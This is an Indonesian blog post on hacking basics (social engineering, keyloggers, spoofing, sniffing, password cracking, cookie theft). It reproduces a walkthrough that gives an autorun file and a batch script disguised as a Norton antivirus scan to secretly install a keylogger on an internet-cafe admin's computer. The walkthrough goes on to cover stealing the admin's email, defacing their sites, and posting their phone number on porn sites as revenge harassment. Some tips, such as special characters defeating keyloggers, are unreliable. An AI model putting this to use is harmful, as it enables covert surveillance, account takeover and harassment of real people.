memanfaatkan celah psikologi korban. Atau mungkin boleh juga dikatakan sebagai
“penipuan” :P Sosial Engineering membutuhkan kesabaran dan kehati-hatian  agar
sang korban tidak  curiga.  Kita  dituntut untuk kreatif dan mampu  berpikiran
seperti sang korban.
Social Engineering merupakan seni “memaksa” orang lain untuk melakukan sesuatu
sesuai dengan  harapan  atau  keinginan  anda.  Tentu  saja  “pemaksaan”  yang
dilakukan  tidak secara terang-terangan atau diluar tingkah laku  normal  yang
biasa dilakukan sang korban.
Manusia cenderung untuk percaya atau mudah  terpengaruh  terhadap  orang  yang
memiliki  nama  besar, pernah (atau sedang berusaha)  memberikan  pertolongan,
dan memiliki  kata-kata  atau  penampilan  yang  meyakinkan.  Hal  ini  sering
dimanfaatkan pelaku social engineering untuk  menjerat  korbannya.  Seringkali
sang pelaku membuat suatu kondisi agar kita  memiliki  semacam  ketergantungan
kepadanya.Ya,tanpa kita sadari dia mengkondisikan kita dalam suatu masalah dan
membuat ( seolah – olah hanya ) dialah yang bisa mengatasi masalah itu. Dengan
demikian,tentu kita akan cenderung untuk menuruti apa  yang  dia  instruksikan
tanpa merasa curiga.
Sosial Engineering adakalanya menjadi ancaman serius. Memang  sepertinya tidak
ada kaitan dengan teknologi, namun sosial engineering tetap  layak  diwaspadai
karena bisa berakibat fatal bagi sistem anda. Why??  Karena  bagaimanapun juga
suatu komputer tetap saja tidak bisa lepas dari manusia. Ya,  tidak  ada  satu
sistem komputerpun di muka bumi ini  yang  bisa  lepas  dari   campur   tangan
manusia. ehebat apapun pertahanan anda, jika anda sudah dikuasai oleh attacker
melalui social engineering, maka bisa jadi  anda  sendirilah  yang  membukakan
jalan masuk bagi sang attacker.
# Contoh Social Engineering sederhana:
Baca Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]
[2]. KeyLogger
KeyLogger adalah software yang dapat merekam aktivitas user. Hasil rekaman itu
biasa disimpan berupa teks atau gambar. KeyLogger bekerja berdasarkan  ketukan
keyboard user. Aplikasi ini mampu mengenali form-form  sensitif  seperti  form
password misalnya.
Ada cara aman untuk menghindari keyloger:
1. Gunakan password dengan karakter special seperti !@#$%^&*(){}[]. Kebanyakan
keyloger  akan  mengabaikan   karakter  ini  sehingga  sang  pelaku  (pemasang
keyloger) tidak akan mendapatkan password anda yang sebenarnya.
2. Persiapkan password dari  rumah,  simpan  dalam  bentuk  teks.  Saat  ingin
memasukkan password, tingal copy-paste ajah. Keyloger  akan  membaca  password
anda berdasarkan ketukan keyboard. Namun  cara  ini  agak  beresiko.  Mengapa?
karena saat anda melakukan copy, data anda akan tersimpan di clipboard.   Saat
ini banyak dijumpai software-software gratis yang bisa menampilkan data  dalam
clipboard.
[3]. Web Spoofing
Masih ingat kasus pecurian Account sejumlah nasabah Bank BCA? Ya, itulah salah
satu contoh nyata dari Web   spoofing.  Inti  dari  tehnik  ini  ialah  dengan
memanfaatkan kesalahan user saat mengetikkan alamat situs  pada  address  bar.
Pada dasarnya, Web Spoofing adalah usaha untuk menipu korban agar mengira  dia
sedang mengakses suatu situs tertentu, padahal bukan.
Pada kasus bank BCA, pelaku membuat situs yang sangat mirip dan identik dengan
situs aslinya sehingga sang  korban  yang  terkecoh  tidak  akan  merasa  ragu
mengisikan informasi sensitif seperti  user  name  dan  Passwordnya.  Padahal,
karena situs tersebut adalah situs tipuan, maka semua informasi berharga  tadi
terekam oleh webserver palsu, yaitu milik sang pelaku.
[4]. Menghadang Email
Menghadang email? Ya, dan sangat mudah untuk melakukan  hal  ini.  Salah  satu
cara adalah dengan menggunakan mailsnarf yang terdapat  pada  utility  dsniff.
Cara kerja Mailsnarf  adalah  dengan  menghadang  paket  data  yang  lewat  di
Internet dan menyusunnya menjadi suatu email utuh.
Dsniff dan mailsnift merupakan software bekerja  atas  dasar  WinPcap  (setara
dengan libcap pada Linux) yaitu suatu library yang menangkap paket-paket data.
Paket-paket yang ditangkap ini akan disimpan dalam bentuk file  oleh  Windump,
sedangkan Dsniff dan MailSnarf bertindak lebih  jauh  lagi  yaitu  menganalisa
paket-paket  data  ini  dan  menampilkan  password  (dsniff)  atau  isi  email
(mailsnarf).
Baca artikel terkait pada arsip lama :)
[5]. Password Cracking
“Hacking while sleeping.” itulah  ungkapan yang biasa dipakai oleh orang-orang
yang melakukan password cracking. Mengapa? Karena pada umumnya dibuthkan waktu
yang lama untuk melakukan pasword cracking. Bisa berjam-jam, bahkan  berhari -
hari! Semua itu  tergantung  dari  target,  apakah  sang  target   menggunakan
password yang umum, password memiliki panjang karakter yang tidak  biasa, atau
password memiliki kombinasi dengan karakter-karakter special.
Salah satu software yang biasa digunakan untuk melakukan hal ini ialah  dengan
mengunakan Brutus, salah satu jenis software  remote  password  cracker   yang
cukup  terkenal.  Brutus  bekerja  dengan  teknik  dictionary   attack    atau
bruce-force attack terhadap port-port http, POP3,ftp, telnet, dan  NetBIOS.
Dictionary Attack bekerja dengan mencobakan  kata-kata yang  ada  dalam  kamus
password. Sedangkan  brute – force  attack  bekerja  dengan  mencobakan  semua
kombinasi huruf, angka, atau karakter.
Brute Force Atack  bekerja sangat  lambat  dan  membutuhkan  waktu  yang  lama
tergantung   dari   jenis   spesifikasi   komputernya  dan  panjang   karakter
passwordnya. Saat ini telah banyak situs yang menutup  akses   terhadap  akses
terhadap usaha login yang secara terus-menerus tidak berhasil.
Jika anda ingin melakukan password Cracking, silahkan  pilih – pilih   sendiri
aplikasinya di halaman Member – spyrozone.net.
[6]. Session Hjacking
Session hijacking dewasa  ini semakin marak dikalangan para attacker.  Session
Hijacking biasa dilakukan  dengan   melakukan  peniruan  cookies.  Jadi   pada
intinya, kita harus bisa meniru  cookies sang korban untuk  mendapatkan   sesi
loginnya.
Lalu bagaimana cara mendapatkan cookies sang korban?
1. Dengan analisa Cookies. Cara ini relatif sulit dilakukan.
2. Mencuri Cokies.
Misalnya Sang Attacker ingin mendapatkan  account si  A.  Sang  Attacker  bisa
dengan mudah membuat semacam script  Java Script yang disisipkan dalam   email
untuk dikirim ke korban.Saat korban membuka email itu, tanpa sadar  cookiesnya
akan dicuri dan direkam ke suatu webserver dengan memanfaatkan  suatu   script
PHP.
Belakangan ini yang paling sering menjadi incaran  adalah  account Friendster.
Ada yang menyisipkan suatu scipt lewat testimonial, ada yang menyisipkannya di
profilnya sendiri untuk mencuri cookies sang korban dan lain sebagainya.  Saya
memiliki tips untuk ini:
1. Jangan menggunakan browser InternetExplorer saat ingin membuka profil orang
lain. Catat alamat profil yang ingi anda lihat,logout terlebih dahulu  dari
account anda dan bersihkan semua  cookies,  baru  kemudian  bukalah  profil
Friendster tujuan.
2. Ketika menerima testimonial, periksa terlebih dahulu source codenya. Apakah
disana terdapat script asing atau kata-kata yang identik dengan  pembajakan
seperti : “HACKED”, “DEFACED”, “OWNED”.. dll.. Jika ragu-ragu……. reject
ajah..
3. Waspada ketika tanpa suatu alasan yang jelas tiba-tiba anda  logout  dengan
sendirinya dari account anda. Saat anda  diminta  memasukkan  username  dan
password, lihat dulu addressbar anda! apakan anda sedang  berada  di  situs
yang semestinya atau tidak. Periksa source code halaman tersebut.Lihat pada
form action, kemana informasi anda nantinya akan dikirim.
Sebenarnya session  hijacking bisa dicegah jika saja  sang   penyedia  layanan
memperhatikan hal-hal berikut:
1. Menetapkan session identifier yang unik
2. Menetapkan sistem identifier berpola acak
3. Session identifier yang independen
4. Session identifier yang bisa dipetakan dengan koneksi client side.
Fenomena lain adalah,hingga saat artikel ini diterbitkan,ternyata masih banyak
dijumpai para user yang tidak melakukan sign out setelah  membuka  accountnya.
Dengan demikian, orang lain yang mengunakan komputer itu dan  membuka  website
yang sama dengan yang telah dibuka oleh orang pertama akan otomatis  login  ke
account sang korban.
[7]. Menjadi Proxy Server
Kita bisa mengumpulkan informasi dengan  menjadi proxy  server   bagi   korban
untuk  dapat berselancar. Dengan menjadi proxy server, seluruh identitas  sang
peselancar bisa menjadi milik kita.
[8]. Memanfaatkan Kelalaian user dalam penggunaan fitur browser
Setiap browser tentunya  memiliki fitur yang ditujukan  untuk  kemudahan   dan
kenyamanan penggunanya dalam  berselancar. Diantaranya  ialah  dengan   adanya
cache dan Password Manager.
Di Internet tentunya banyak suatu  website yang isinya  tidak  berubah   dalam
beberapa hari (Contohnya spyrozone.net nich.. hehehe ;)  Nah, untuk  situs yang
seperti ini cache menjadi hal yang   sangat  berguna.  Cache  akan   menyimpan
file-file hasil browsing sehinga nantinya  jika anda berkunjung lagi  ke situs
tersebut browser tidakperlu lagi melakukan  download untuk kedua  kalinya dari
server sehingga setiap halaman situs yang  telah anda  buka   sebelumnya  akan
terbuka dengan lebih cepat.  Semua itu biasanya  diatur oleh  header  time  to
live.
Lho, bagaimana dengan  situs-situs penyedia berita yang selalu  up  to   date?
Untuk site yang seperti itu,  time to  live-nya akan di set=0 sehinga nantinya
anda akan terus melakukan download setiap kali berkunjung.
Cukup nyaman bukan?  Ya, tapi ancaman mulai timbul. Cobalah kini anda jelajahi
opsi-opsi yang  berkaitan  dengan cache pada browser  anda.  Tentu  anda  bisa
menemui bahwa ada fasilitas  untuk  menentukan berapa  besarnya file temporary
yang bisa disimpan di harddisk.  Cari juga lokasi dimana  file-file   tersebut
akan disimpan.
Coba anda buka folder tersebut, anda akan menemui file-file html  &  file-file
gambar dari site-site  yang sudah anda kunjungi. Pada Browser IE,   anda  bisa
melihat lokasi file cache dengan menjelajahi menu Tools  —> Internet options
—> Settings
Lalu apa yang bisa didapatkan??  toh cuma file-file “sampah”?? Hmm… sekarang
coba anda copy semua file yang ada di sana  ke  suatu  folder.   Lalu  bukalah
salah-satu file htmlnya. Jika itu komputer publik,anda bisa  mengetahui  situs
apa saja yang telah diakses oleh oleh orang sebelum anda.
Hmm.. hanya dengan melihat file temporary  anda bahkan bisa  melihat  password
dan dll.Banyak saya temui situs yang menyimpan  password   dan  menampilkannya
pada url. Tentunya anda juga pasti sering membacanya di berbagai tutorial.
Kebanyakan browser pada saat ini memiliki fasilitas untuk  menyimpan password.
Misalnya saat meggunakan Mozilla Firefox,  anda pasti  sering  menerima  kotak
dialog konfirmasi yang menanyakan apakah anda  ingin  password  anda  disimpan
atau tidak oleh PasswordManager.Kebanyakan user  cenderung  untuk memilih opsi
YES, entah itu dengan penuh kesadaran  atau memang mereka  tidak  tau  ( baca:
tidak mau tau) apa maksud dari kotak dialog itu.
Orang lain yang kemudian  mengunakan  browser itu  bisa  dengan  sangat  mudah
mendapatkan password  korban dengan  memasuki menu  Tools  —>  Options  —>
Security –> Saved password.
Contoh lain adalah fasilitas  wand password yang dimiliki  oleh browser Opera.
Saat anda memasukkan  user name dan password  pada  suatu  form  dan   menekan
tombol submit, opera  secara default  akan  meminta   konfirmasi  kepada  anda
apakah anda ingin browser menyimpan id dan password anda atau  tidak. Lagi dan
lagi… kebanyakan netter ceroboh, mereka cenderung untuk memilih opsi “YES”.
Lalu??  Orang  lain  yang  kemudian  menggunakan  browser  itu  bisa   melihat
situs apa saja  yang telah  diakses  oleh  user,  arahkan  browser   ke  situs
tersebut, letakkan cursor pada form isian user name,  tekan  [ALT]+[ENTER] dan
BOOOMM!!!! Kenapa??  Jangan kaget dulu!! Hehehe.. form  login   akan  otomatis
terisi dengan user name korban  lengkap  dengan  passwordnya  ;D   (It’s  fun
enough.. ;)
Ini hanya sebagian kecil contoh, jelajahi fitur-firtur browser lain!
[9]. Googling
Google.com. Banyak sudah situs  yang runtuh, password dan nomor – nomor  kartu
kredit yang dicuri akibat dari ulah orang yang menyalahgunaan  kesaktiannya ;)
Dahulu, hal ini mudah dilakukan.Hanya dengan mengetikkan  kata kunci  tertentu
yang berkaitan dengan user name  dan  password,  anda  bisa  memanen   ratusan
password user melalui google.  Tapi sekarang tampaknya  anda harus gigit  jari
jika menggunakan cara diatas ;D
Jangan sedih dulu  karena Google baru saja menelurkan  produk  barunya,  yaitu
Google Code Search. Ancaman baru  mulai timbul,  “si pintar”  ini  kini  dapat
meng-crawl hingga kepada archive  file yang berada  di  public  directory  web
server. Hati-hati yang punya  kebiasaan  untuk menyimpan informasi penting  di
dalamnya (password,  dan  info  berharga  lainnya)  Sebaiknya  mulai  sekarang
kebiasaan itu dihilangkan.  Selalu proteksi folder-folder yang  sensitif  agar
situs anda bisa hidup lebih lama.  Kalo nggak… yach.. tunggu ajah ada  orang
yang memanfaatkan produk baru google ini untuk  mengeruk   informasi  sensitif
dari web server anda. dan jika itu sudah terjadi… maka   bersiaplah.. “taman
bermain” anda akan diambil alih olehnya..
Berikut adalah contoh social engineering sederhana. Saya ambil  dari   tulisan
spyrozone yang berjudul “Pembalasan Untuk Sang Admin”-www.spyrozone.net.
Pembalasan Untuk Sang Admin – SOcial Engineering
May 12, 2006 jam 21:16 malam di depan RedHat tercinta dengan segelas Heineken
Author: SPYRO KiD <Spyro_Zone@Yahoo.com>
CopyLeft (c) 2006 by http://www.spyrozone.net
|—[Table of Contents
1. Introduction
2. Serangan pertama
3. Serangan kedua
4. Hari pembalasan
5. Cara pencegahan
6. Penutup
1. Introduction
Semakin paranoidnya para admin belakangan ini menyebabkan banyak pengguan jasa
layanan internet cafe (warnet) menjadi kurang nyaman. Restriction (pembatasan)
disana-sini (walaupun semua itu  dilakukan bukan tanpa alasan)  menjadi  salah
satu inspirasi bagi banyak orang  untuk  mencari-cari  cara  menerobos  segala
keterbatasan itu dan  saling  men-share  pengetahuan  mereka.  Berbagai  jenis
exploit pun dibedah, didiskusikan  dan  dikemas  menjadi  artikel  untuk  para
newbie.
Sejenak para newbie bisa tertawa puas, berjaya, senyum-senyum  sendiri  sampai
tak jarang lupa diri :P Namun semua itu tentunya tidak  bertahan  lama.  Admin
menjadi semakn pintar. Fasilitas Floppy drive dan CD room  drive  dihapus  dan
melarang  user  untuk   melakukan  segala  bentuk  transfer  file  dari  media
penyimpanan sementara (disket, cd, flashdisk) kecuali melalui server  terlebih
dahulu. Ini merupakan fenomena yang  akhir-akhir  ini  bisa  kita temui dengan
mudah di berbagai Internet cafe. Admin mulai rajin  mengupdate  path  sehingga
exploit-exploit yang dulu dibangga-banggakan oleh kaum newbie menjadi
“rongsokan” tak berguna.
Sekarang, mari kita bangunkan sang admin dari mimpi indahnya untuk menunjukkan
bahwa menjadi paranoid itu adakalanya tidak baik dan  tidak  ada  system  yang
100% secure.
2. Serangan pertama
Kita akan menjadi seorang “agen mata-mata” (hehehe.. gw pake istilah ini  biar
ente merasa agak sedikit keren) yang akan merekam segala aktivitas sang admin.
Tujuannya.. banyak! dan salah  satunya  seperti  hal  yang  banyak  diinginkan
orang… mendapatkan  password  sang  admin.  Partner  kita  kali  ini  adalah
navw32.exe, sebuah keyloger  dengan  icon  Norton  AntiVirus  yang  bisa  kamu
dapatkan suka-suka dengan harga cuma-cuma di halaman  member  http://www.spyrozone.net
kategori Keyloger. Setelah kamu download keyloger  tersebut,  ikuti  langkah -
langkah berikut:
—[1 Bukalah Notepad kemudian ketik baris script berikut:
[autorun]
open=nav.bat
Klik [file][save] kemudian pada box save as type, pilih  All  Files  dan  pada
form isian name beri nama Autorun.inf lalu klik tombol [save].
—[2 Buka lembar baru pada notepad dengan klik menu [file] [new]  lalu  ketik
script berikut:
@echo off
echo Norton Antivirus 2006
echo Scanning disk drive…
echo Please wait…
copy navw32.exe %windir%\navw32.exe
call %windir%\navw32.exe
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo. Scanning complette! No virus threat detected!
echo.
cls
Klik [file][save] kemudian pada box save as type, pilih  All  Files  dan  pada
form isian name beri nama nav.bat lalu klik tombol [save].
—[3. Persiapkan beberapa file microsoft word documents (bisa diganti  dengan
file lain) sebagai tipuan/alasan  untuk  di  transfer.  Semakin  banyak  file,
semakin baik karena file keyloger kamu akan semakin tersamarkan.
—[4. Persiapkan sebuah cd kosong (bekas juga boleh) lalu  bakar  semua  file
diatas (autorun.inf, nav.bat, navw32.exe  dan file-file  tipuan)  kedalam  CD.
Sekarang pergilah ke warnet tempat sang admin  berkuasa.  Bersikaplah  seperti
biasa dan jangan  gugup  selayaknya  para  koruptor  yang  sering  nampang  di
satasion-stasion TI-PI tanpa rasa malu. Setelah kamu login ke billing komputer
user, datangi  sang  admin.  Katakan  pada  beliau,  “Mas/mbak/om/tante/,  mau
transfer file dari cd ini. Nama filenya blablabla tolong  dikirim  ke komputer
nomor blablabla.”
Begitu CD dimasukkan, saat itulah terjadi sebuah fenomena berikut:
Komputer akan memproses file autorun.inf secara otomatis —> file autorun.inf
akan  memproses  file  nav.bat  —>  file   nav.bat  akan  menduplikasi  file
navw32.exe ke dalam directory windows dan mengaktivkannya —> Keyloger  telah
terinstall, hasil rekamannya akan tersimpan di directory yang sama dengan nama
navw32.dll beratribut hidden.
Perlu diketahui bahwa keyloger ini tidak akan menampilkan kotak  dialog  dalam
bentuk apapun! So, nggak usah khawatir bakal ketahuan ;)
Sekarang, kamu bisa pulang dengan wajah tanpa dosa dan  mungkin  (lagi – lagi)
kamu bakalan senyum-senyum sendiri sambil mengelus-elus  jenggot  kayak  habis
menang togel.
Lalu bagaimana cara mengambil file hasil rekaman keyloger di directory windows
sang admin? Ikuti langkah-langkah pada serangan kedua.
3. Serangan kedua
Dua hari Kemudian, datanglah ke  warnet  itu  lagi.  Bertingkahlakulah  secara
wajar  dan  beraktivitas  seperti  layaknya  user   biasa.   Setelah   selesai
berinternet ria, datangi sang admin, bayarlah  biaya  browsing  seperti  biasa
lalu dengan wajah sangat-sangat memelas seperti pengemis di jalanan :) katakan
pada beliau,”Mas/mbak/om/tante/, komputer saya bermasalah neeh. Menurut  pesan
Error yang muncul, file navw32.dll yang berada di  directory  windows  hilang.
File tersebut beratribut hidden.  Tolong  doong  copykan  dari  komputer  ini.
Kebetulan versi windowsnya sama dengan komputer saya..”
Tentu saja biasanya sang admin dengan sangat senang hati  akan membantu  kamu.
Dengan suka rela dan penuh kesadaran beliau akan mengaktifkan  opsi  Show  All
files pada Folder Options dan  mengcopy-kan  file  navw32.dll  dari  directory
windows tanpa menyadari bahwa file tersebut  bukan  file  system,  namun  file
hasil rekaman keyloger.
Berikan disket/cd/flashdisk mu dan setelah  file tersebut  tersimpan,  ucapkan
beribu terima kasih lalu pulanglah ke rumah. Buka file tersebut di rumah. Klik
2x pada file lalu ketika muncul kotak  dialog  open  with,  klik  opsi  select
program from a list dan pilih notepad pada daftar  program  yang  ditampilkan.
Sekarang tentunya kamu bisa leluasa membaca rekaman aktivitas sang admin. Cari
password emailnya dan kamu bisa menuju pada hari pembalasan.
4. Hari Pembalasan
Pilih hari yang tepat, misalnya malam jum’at kliwon  dimana sang admin mungkin
sedang terlelap di rumahnya. Nyalakan komputermu dan  connectlah ke  Internet.
Namun ada baiknya kamu lakukan hal ini di  warnet  agar  lebih  aman.  Carilah
warnet yang buka 24 jam.
Berbekal hasil rekaman keyloger tadi, loginlah  ke  account email  sang admin.
Setelah puas menjelajahi emailnya, subscriblah ke berbagai mailing list  besar
dengan email tersebut. Subscribe sebanyak-banyaknya.
Hohoho.. lalu apa lagi nich?? Kalau  sang  admin  punya  blog/website pribadi/
account Friendster.. tentu kamu dengan mudah mendapatkan  semua  password  itu
dengan fasilitas forgot password. Kebanyakan penyedia layanan seperti itu akan
mengirimkan password via email.  So, setelah dapat semuanya… heheh… DEFACE
ajah  ;) Tapi inget lho, halaman lama harus tetap di backup dan jangan merubah
password apapun!!
Ada ide yang sedikit lebih sadis  (ini  cuma  ide   lho..   sebaiknya   jangan
dilakukan deech..). Daftarkan emailnya  ke  berbagai situs – situs  porno  dan
postinglah sebuah pesan singkat, memikat  dan  “mematikan”.  Berikut contohnya
jika milis tersebut berbahasa Indonesia:
Dear all..
gwe lagi nafsu berat neeh, burun telepon gwe doong  sekarang  juga!!  neeh  no
telp gwe: 021-blablabla (masukkan no telp sang admin)
gwe tunggu 24 jam lho!!
Atau terserah kamu laah.. saya rasa kamu lebih pintar dalam memilih kata- kata
yang yahuud!! ;D
Maka bisa  dipastikan  malam  itu  akan  menjadi  malam  jumat  kliwon  paling
mengerikan bagi sang admin, lebih mengerikan daripada film-film horor manapun!
Telepon rumahnya akan berdering tanpa henti dibanjiri oleh telepon dari  dalam
dan luar  negeri  dengan  maksud  pembicaraan  yang  sudah  bisa  ditebak  apa
maksudnya ;D
Keesokan harinya, setelah menghadapi malam paling mengerikan itu,  sang  admin
akan kaget 1/2 hidup 1/2 mati mendapati inboxnya penuh dengan email-email dari
berbagai milis yang  beliau  sendiri  tidak  merasa  pernah  bergabung  dengan
milis-milis itu. Dan bisa   jadi,  saat  beliau  sedang sibuk Unsubcribe  dari
milis-milis tersebut, telepon rumahnya masih terus – terusan  menjerit – jerit
dengan jeritan indah :D
5. Pencegahan
Jika kamu adalah admin yang tidak mau mengalami  nasib  seperti  diatas,  maka
setiap kamu menerima CD dari siapapun..
1. Buka windows explorer
2. Tekan-tahan tombol  shift  sambil memasukkan CD kedalam CD Room dRive.
3. Setelah CD masuk,tetap tekan tombol shift sampai kira-kira 25 detik.Setelah
itu kamu bisa melepas tombol shift dan mengaksesnya melalui panel sebelah kiri
windows Explorer. Klik pada area folder tree, jangan pada daftar drive sebelah
kanan karena fitur autorun akan aktif.
Dan ingat, jangan terlalu percaya pada siapapun! Ada begitu banyak orang tidak
terduga di sekitar anda!!
READ MORE - Dasar-dasar Meretas "Hack"

Time Ambon City

Translator


Related Posts Plugin for WordPress, Blogger...
Silakan Follow di sini ya
 

Postingan Populer

Copyright© 2011 Computer_Nyonk Ambon | Template Blogger Designer by : Jack' |
Template Name | Nyonk Ambon : Version 1.0 | Ambon City